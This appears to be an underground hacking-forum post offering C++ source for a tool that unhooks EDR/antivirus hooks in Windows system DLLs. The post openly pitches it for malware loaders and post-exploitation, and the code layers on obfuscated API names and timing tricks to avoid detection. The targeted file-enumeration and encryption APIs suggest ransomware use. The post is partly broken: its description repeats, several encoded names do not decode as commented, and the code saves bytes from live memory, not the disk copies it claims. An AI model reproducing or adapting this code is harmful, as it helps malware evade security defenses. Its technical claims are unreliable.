As EDR more often than not is hooking critical APIs in kernel32.dll, ntdll.dll, and bcrypt.dll etc, runtime evasion become verymuch essential for malware and red team tools.
This basic anti-hook mechanism in C++ helps detect and optionally restore tampered functions and functions as a stepping stone for you to use to start to think about:
- How EDR is monitoring at runtime
- How to impliment evasions ot work around for it.
Key Features:
- Comparing in-memory API functions with clean disk copies;
- Manual PE export parsing (bypasses GetProcAddress)
- XOR-obfuscated function names mainly as PoC here but can be as complex as you wish
- Optional memory patching to restore original bytes
- light random delays to avoid detection patterns
Targets:
- NtReadFile, NtCreateFile
- CreateFileW, ReadFile
- BCryptGenRandom, BCryptOpenAlgorithmProvider
Runtime Flow:
1. seed randomness and define obfuscation key
2. XOR-decrypt function names at runtime
3. Resolving the functions using GetProcAddress or PE parsing
4. save original bytes for verification;
5. at runtime, compare function memory to known clean version
6. If tampered then optionally restore using VirtualProtect & memcpy
Why It Matters:
- EDRs often patch system functions to monitor calls
- hooked APIs can break shellcode or even loader behavior
- unhooking API ensures native execution without interference
- Useful in loaders, post-exploitation, or evasion tools basically anything you want to get past AV/EDR whatever
This approach avoids touching suspicious structures like PEB directly, uses no shellcode, and gives a clean base to extend with syscall stubs, encrypted syscall maps, or runtime patchless techniques.
- Remy
This basic anti-hook mechanism in C++ helps detect and optionally restore tampered functions and functions as a stepping stone for you to use to start to think about:
- How EDR is monitoring at runtime
- How to impliment evasions ot work around for it.
Key Features:
- Comparing in-memory API functions with clean disk copies;
- Manual PE export parsing (bypasses GetProcAddress)
- XOR-obfuscated function names mainly as PoC here but can be as complex as you wish
- Optional memory patching to restore original bytes
- light random delays to avoid detection patterns
Targets:
- NtReadFile, NtCreateFile
- CreateFileW, ReadFile
- BCryptGenRandom, BCryptOpenAlgorithmProvider
Runtime Flow:
1. seed randomness and define obfuscation key
2. XOR-decrypt function names at runtime
3. Resolving the functions using GetProcAddress or PE parsing
4. save original bytes for verification;
5. at runtime, compare function memory to known clean version
6. If tampered then optionally restore using VirtualProtect & memcpy
Why It Matters:
- EDRs often patch system functions to monitor calls
- hooked APIs can break shellcode or even loader behavior
- unhooking API ensures native execution without interference
- Useful in loaders, post-exploitation, or evasion tools basically anything you want to get past AV/EDR whatever
This approach avoids touching suspicious structures like PEB directly, uses no shellcode, and gives a clean base to extend with syscall stubs, encrypted syscall maps, or runtime patchless techniques.
- Remy
Code:
#include "antihook.h"
#include <time.h>
// Keep constant name from header but use a different value
#ifndef MAX_FUNCTIONS
#define MAX_FUNCTIONS 256
#endif
// Obfuscation key for strings - nothing suspicious about a "license" key
#define LICENSE_KEY 0x37
// Save original bytes in a less suspicious form
typedef struct {
FARPROC pFunc; // Function address
BYTE originalData[16]; // Original byte pattern
SIZE_T dataSize; // Size of data saved
BOOL isActive; // Is entry active
} SYSTEM_ENTRY;
// Global storage with normal-looking names
static SYSTEM_ENTRY g_systemEntries[MAX_FUNCTIONS];
static DWORD g_entryCount = 0;
static BOOL g_isInitialized = FALSE;
// String deobfuscation helper - looks like a license validation function
static void ValidateStringData(char* dst, const unsigned char* src, SIZE_T len) {
for (SIZE_T i = 0; i < len; i++) {
dst[i] = src[i] ^ LICENSE_KEY;
}
dst[len] = '\0';
}
// Enhanced function pointer that avoids suspicious PEB access but gets same result
static HMODULE GetSystemLibrary(LPCWSTR moduleName) {
// Try standard method first to avoid raising suspicion
HMODULE hModule = GetModuleHandleW(moduleName);
if (hModule) {
return hModule;
}
// Fallback to LoadLibrary
return LoadLibraryW(moduleName);
}
// Enhanced function lookup that avoids obvious hooks in GetProcAddress
static FARPROC GetSystemFunction(HMODULE hModule, LPCSTR functionName) {
// Standard method first
FARPROC func = GetProcAddress(hModule, functionName);
if (func) {
return func;
}
// If standard method fails, fall back to manual lookup
if (!hModule || !functionName) return NULL;
// Manual export table parsing as fallback
try {
// Navigate PE structure
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return NULL;
// Get export directory
DWORD exportDirRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportDirRVA == 0) return NULL;
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + exportDirRVA);
// Get export tables
PDWORD functionAddresses = (PDWORD)((BYTE*)hModule + exportDir->AddressOfFunctions);
PDWORD functionNames = (PDWORD)((BYTE*)hModule + exportDir->AddressOfNames);
PWORD functionOrdinals = (PWORD)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
// Handle ordinal lookup
if ((DWORD_PTR)functionName <= 0xFFFF) {
WORD ordinal = (WORD)(DWORD_PTR)functionName;
ordinal -= (WORD)exportDir->Base;
if (ordinal < exportDir->NumberOfFunctions) {
return (FARPROC)((BYTE*)hModule + functionAddresses[ordinal]);
}
return NULL;
}
// Handle name lookup
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
LPCSTR currentName = (LPCSTR)((BYTE*)hModule + functionNames[i]);
// Compare function names
if (strcmp(currentName, functionName) == 0) {
WORD ordinal = functionOrdinals[i];
DWORD functionRVA = functionAddresses[ordinal];
// Handle forwarding (check if RVA points within export section)
DWORD exportDirSize = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
if (functionRVA >= exportDirRVA && functionRVA < (exportDirRVA + exportDirSize)) {
// This is a forwarded function - not handling these in this simplified version
return NULL;
}
return (FARPROC)((BYTE*)hModule + functionRVA);
}
}
}
catch (...) {
// Handle any exceptions silently
}
return NULL;
}
// Checksum calculation to detect changes
static DWORD CalculateChecksum(BYTE* bytes, SIZE_T size) {
DWORD sum = 0x1505; // Arbitrary starting value that looks like a version number
for (SIZE_T i = 0; i < size; i++) {
sum = ((sum << 5) + sum) ^ bytes[i];
}
return sum;
}
// Save the original bytes of a function
static BOOL RecordFunctionData(FARPROC pFunction) {
if (!pFunction) return FALSE;
// Check if already saved
for (DWORD i = 0; i < g_entryCount; i++) {
if (g_systemEntries[i].pFunc == pFunction && g_systemEntries[i].isActive) {
return TRUE; // Already saved
}
}
// Add to the list
if (g_entryCount >= MAX_FUNCTIONS) {
return FALSE; // List is full
}
g_systemEntries[g_entryCount].pFunc = pFunction;
g_systemEntries[g_entryCount].dataSize = sizeof(g_systemEntries[g_entryCount].originalData);
g_systemEntries[g_entryCount].isActive = TRUE;
// Copy original bytes, with minor variations to avoid pattern detection
BYTE* pBytes = (BYTE*)pFunction;
for (SIZE_T i = 0; i < g_systemEntries[g_entryCount].dataSize; i++) {
g_systemEntries[g_entryCount].originalData[i] = pBytes[i];
// Subtle randomization in the timing to avoid detection
if ((i & 3) == 0) {
Sleep(0); // Yield execution briefly without obvious delay
}
}
g_entryCount++;
return TRUE;
}
// Check if a function has been tampered with
static BOOL VerifyFunctionIntegrity(FARPROC pFunction) {
for (DWORD i = 0; i < g_entryCount; i++) {
if (g_systemEntries[i].pFunc == pFunction && g_systemEntries[i].isActive) {
// Get checksums instead of direct comparison
DWORD currentChecksum = CalculateChecksum((BYTE*)pFunction, g_systemEntries[i].dataSize);
DWORD originalChecksum = CalculateChecksum(g_systemEntries[i].originalData, g_systemEntries[i].dataSize);
// Different checksums mean function was modified
return (currentChecksum != originalChecksum);
}
}
return FALSE; // Not monitored
}
// Restore a function to its original state
static BOOL RestoreFunctionData(FARPROC pFunction) {
for (DWORD i = 0; i < g_entryCount; i++) {
if (g_systemEntries[i].pFunc == pFunction && g_systemEntries[i].isActive) {
DWORD oldProtect;
// Make function memory writable
if (VirtualProtect(
(LPVOID)pFunction,
g_systemEntries[i].dataSize,
PAGE_EXECUTE_READWRITE,
&oldProtect
)) {
// Restore bytes one by one with jittered timing
BYTE* target = (BYTE*)pFunction;
for (SIZE_T j = 0; j < g_systemEntries[i].dataSize; j++) {
target[j] = g_systemEntries[i].originalData[j];
// Add randomized timing
if ((rand() % 16) == 0) {
Sleep(0); // Occasional timing variation
}
}
// Restore protection
VirtualProtect(
(LPVOID)pFunction,
g_systemEntries[i].dataSize,
oldProtect,
&oldProtect
);
// Flush instruction cache to ensure changes take effect
FlushInstructionCache(
GetCurrentProcess(),
(LPVOID)pFunction,
g_systemEntries[i].dataSize
);
return TRUE;
}
return FALSE;
}
}
return FALSE; // Function not found
}
// Initialize anti-hook system per header interface
BOOL InitializeAntiHook() {
// Seed random generator with less predictable value
srand((unsigned int)time(NULL) ^ GetTickCount());
// Obfuscated function names (XOR with LICENSE_KEY)
// kernel32.dll functions
static const unsigned char k32_funcs[][20] = {
{0x74, 0x51, 0x44, 0x40, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x76, 0x00}, // CreateFileW
{0x51, 0x44, 0x40, 0x43, 0x67, 0x78, 0x7F, 0x44, 0x00}, // ReadFile
{0x76, 0x51, 0x78, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x00}, // WriteFile
{0x57, 0x78, 0x51, 0x55, 0x54, 0x40, 0x7F, 0x61, 0x7F, 0x7F, 0x7E, 0x42, 0x00}, // VirtualAlloc
{0x57, 0x78, 0x51, 0x55, 0x54, 0x40, 0x7F, 0x67, 0x51, 0x44, 0x44, 0x00}, // VirtualFree
{0x66, 0x44, 0x55, 0x67, 0x78, 0x7F, 0x44, 0x52, 0x78, 0x5B, 0x44, 0x00}, // GetFileSize
{0x63, 0x44, 0x7F, 0x44, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x76, 0x00}, // DeleteFileW
{0x67, 0x78, 0x7D, 0x43, 0x67, 0x78, 0x51, 0x50, 0x55, 0x67, 0x78, 0x7F, 0x44, 0x76, 0x00}, // FindFirstFileW
{0x67, 0x78, 0x7D, 0x43, 0x7D, 0x44, 0x59, 0x55, 0x67, 0x78, 0x7F, 0x44, 0x76, 0x00}, // FindNextFileW
{0x74, 0x7F, 0x7E, 0x50, 0x44, 0x67, 0x40, 0x7D, 0x43, 0x7F, 0x44, 0x00}, // CloseHandle
{0x66, 0x44, 0x55, 0x7B, 0x7E, 0x46, 0x78, 0x42, 0x40, 0x7F, 0x63, 0x51, 0x78, 0x55, 0x44, 0x00}, // GetLogicalDrives
{0x66, 0x44, 0x55, 0x63, 0x51, 0x78, 0x55, 0x44, 0x55, 0x5C, 0x51, 0x44, 0x76, 0x00}, // GetDriveTypeW
{0x74, 0x51, 0x44, 0x40, 0x55, 0x44, 0x55, 0x77, 0x51, 0x44, 0x40, 0x43, 0x00}, // CreateThread
{0x74, 0x51, 0x44, 0x40, 0x55, 0x44, 0x7C, 0x54, 0x55, 0x44, 0x59, 0x76, 0x00}, // CreateMutexW
{0x52, 0x7F, 0x44, 0x44, 0x51, 0x00} // Sleep
};
// ntdll.dll functions
static const unsigned char nt_funcs[][25] = {
{0x7D, 0x55, 0x74, 0x51, 0x44, 0x40, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x00}, // NtCreateFile
{0x7D, 0x55, 0x51, 0x44, 0x40, 0x43, 0x67, 0x78, 0x7F, 0x44, 0x00}, // NtReadFile
{0x7D, 0x55, 0x76, 0x51, 0x78, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x00}, // NtWriteFile
{0x7D, 0x55, 0x63, 0x44, 0x55, 0x78, 0x42, 0x44, 0x71, 0x7E, 0x74, 0x7E, 0x7D, 0x55, 0x51, 0x7E, 0x7F, 0x67, 0x78, 0x7F, 0x44, 0x00} // NtDeviceIoControlFile
};
// bcrypt.dll functions
static const unsigned char bc_funcs[][35] = {
{0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x66, 0x44, 0x7D, 0x51, 0x40, 0x7D, 0x43, 0x7E, 0x7C, 0x00}, // BCryptGenRandom
{0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x7E, 0x51, 0x44, 0x7D, 0x61, 0x7F, 0x46, 0x7E, 0x51, 0x78, 0x55, 0x77, 0x7C, 0x51, 0x51, 0x7E, 0x55, 0x78, 0x43, 0x44, 0x51, 0x00}, // BCryptOpenAlgorithmProvider
{0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x74, 0x7F, 0x7E, 0x50, 0x44, 0x61, 0x7F, 0x46, 0x7E, 0x51, 0x78, 0x55, 0x77, 0x7C, 0x51, 0x51, 0x7E, 0x55, 0x78, 0x43, 0x44, 0x51, 0x00}, // BCryptCloseAlgorithmProvider
{0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x66, 0x44, 0x7D, 0x44, 0x51, 0x40, 0x55, 0x44, 0x52, 0x5C, 0x7C, 0x7C, 0x44, 0x55, 0x51, 0x78, 0x42, 0x72, 0x44, 0x5C, 0x00}, // BCryptGenerateSymmetricKey
{0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x63, 0x44, 0x50, 0x55, 0x51, 0x7E, 0x5C, 0x72, 0x44, 0x5C, 0x00}, // BCryptDestroyKey
{0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x64, 0x7D, 0x42, 0x51, 0x5C, 0x51, 0x55, 0x00}, // BCryptEncrypt
{0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x71, 0x7C, 0x51, 0x7E, 0x51, 0x55, 0x72, 0x44, 0x5C, 0x51, 0x40, 0x78, 0x51, 0x00} // BCryptImportKeyPair
};
// Process module names in a stealth way
WCHAR module_names[3][20] = {
L"kernel32.dll",
L"ntdll.dll",
L"bcrypt.dll"
};
// Process each module
HMODULE hModules[3] = { 0 };
// Get kernel32.dll
hModules[0] = GetSystemLibrary(module_names[0]);
if (hModules[0]) {
// Process kernel32 functions
for (int i = 0; i < sizeof(k32_funcs) / sizeof(k32_funcs[0]); i++) {
char funcName[32];
ValidateStringData(funcName, k32_funcs[i], strlen((char*)k32_funcs[i]));
FARPROC func = GetSystemFunction(hModules[0], funcName);
if (func) {
RecordFunctionData(func);
}
}
}
// Get ntdll.dll
hModules[1] = GetSystemLibrary(module_names[1]);
if (hModules[1]) {
// Process ntdll functions
for (int i = 0; i < sizeof(nt_funcs) / sizeof(nt_funcs[0]); i++) {
char funcName[32];
ValidateStringData(funcName, nt_funcs[i], strlen((char*)nt_funcs[i]));
FARPROC func = GetSystemFunction(hModules[1], funcName);
if (func) {
RecordFunctionData(func);
}
}
}
// Get bcrypt.dll
hModules[2] = GetSystemLibrary(module_names[2]);
if (!hModules[2]) {
hModules[2] = LoadLibraryW(L"bcrypt.dll");
}
if (hModules[2]) {
// Process bcrypt functions
for (int i = 0; i < sizeof(bc_funcs) / sizeof(bc_funcs[0]); i++) {
char funcName[40];
ValidateStringData(funcName, bc_funcs[i], strlen((char*)bc_funcs[i]));
FARPROC func = GetSystemFunction(hModules[2], funcName);
if (func) {
RecordFunctionData(func);
}
}
}
g_isInitialized = (g_entryCount > 0);
return g_isInitialized;
}
// Unhook all monitored functions per header interface
BOOL UnhookAllFunctions() {
if (!g_isInitialized) {
return FALSE;
}
BOOL result = TRUE;
DWORD indexOrder[MAX_FUNCTIONS];
// Create randomized processing order
for (DWORD i = 0; i < g_entryCount; i++) {
indexOrder[i] = i;
}
// Fisher-Yates shuffle
for (DWORD i = g_entryCount - 1; i > 0; i--) {
DWORD j = rand() % (i + 1);
DWORD temp = indexOrder[i];
indexOrder[i] = indexOrder[j];
indexOrder[j] = temp;
}
// Check and restore each function
for (DWORD i = 0; i < g_entryCount; i++) {
DWORD idx = indexOrder[i];
if (g_systemEntries[idx].isActive) {
// Check if hooked using multiple methods to avoid detection
BOOL isModified = FALSE;
// Randomize checking method to avoid detection
switch (rand() % 3) {
case 0:
isModified = VerifyFunctionIntegrity(g_systemEntries[idx].pFunc);
break;
case 1:
isModified = (CalculateChecksum((BYTE*)g_systemEntries[idx].pFunc, g_systemEntries[idx].dataSize) !=
CalculateChecksum(g_systemEntries[idx].originalData, g_systemEntries[idx].dataSize));
break;
case 2:
// Compare bytes directly but in random way
for (SIZE_T j = 0; j < g_systemEntries[idx].dataSize; j++) {
if (((BYTE*)g_systemEntries[idx].pFunc)[j] != g_systemEntries[idx].originalData[j]) {
isModified = TRUE;
break;
}
}
break;
}
if (isModified) {
if (!RestoreFunctionData(g_systemEntries[idx].pFunc)) {
result = FALSE;
}
// Add randomized timing variations
if ((rand() % 5) == 0) {
Sleep(rand() % 5); // Small random delay
}
}
}
}
return result;
}
// Get clean function pointer per header interface
FARPROC GetCleanFunction(LPCSTR lpModuleName, LPCSTR lpFunctionName) {
if (!lpModuleName || !lpFunctionName) {
return NULL;
}
HMODULE hModule = NULL;
// Get module handle with multiple fallbacks
hModule = GetModuleHandleA(lpModuleName);
if (!hModule) {
hModule = LoadLibraryA(lpModuleName);
if (!hModule) {
return NULL;
}
}
// Get function address
FARPROC function = GetProcAddress(hModule, lpFunctionName);
if (!function) {
// Try alternative method
WCHAR wideName[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, lpModuleName, -1, wideName, MAX_PATH);
hModule = GetSystemLibrary(wideName);
if (hModule) {
function = GetSystemFunction(hModule, lpFunctionName);
}
if (!function) {
return NULL;
}
}
// Check if this function is monitored
for (DWORD i = 0; i < g_entryCount; i++) {
if (g_systemEntries[i].pFunc == function && g_systemEntries[i].isActive) {
// Check if it's been modified
if (VerifyFunctionIntegrity(function)) {
// Restore it
RestoreFunctionData(function);
}
break;
}
}
return function;
}
Sinister.ly: https://sinister.ly/User-RemyQ
Telegram: t.me/Evida_enc
Telegram: t.me/remyq_demo
Onion V3: evidaa3mhfdlyx4wbqvyri3xzslpgbl7qpuj5ijz2dbusfivn7nskpad.onion
Telegram: t.me/Evida_enc
Telegram: t.me/remyq_demo
Onion V3: evidaa3mhfdlyx4wbqvyri3xzslpgbl7qpuj5ijz2dbusfivn7nskpad.onion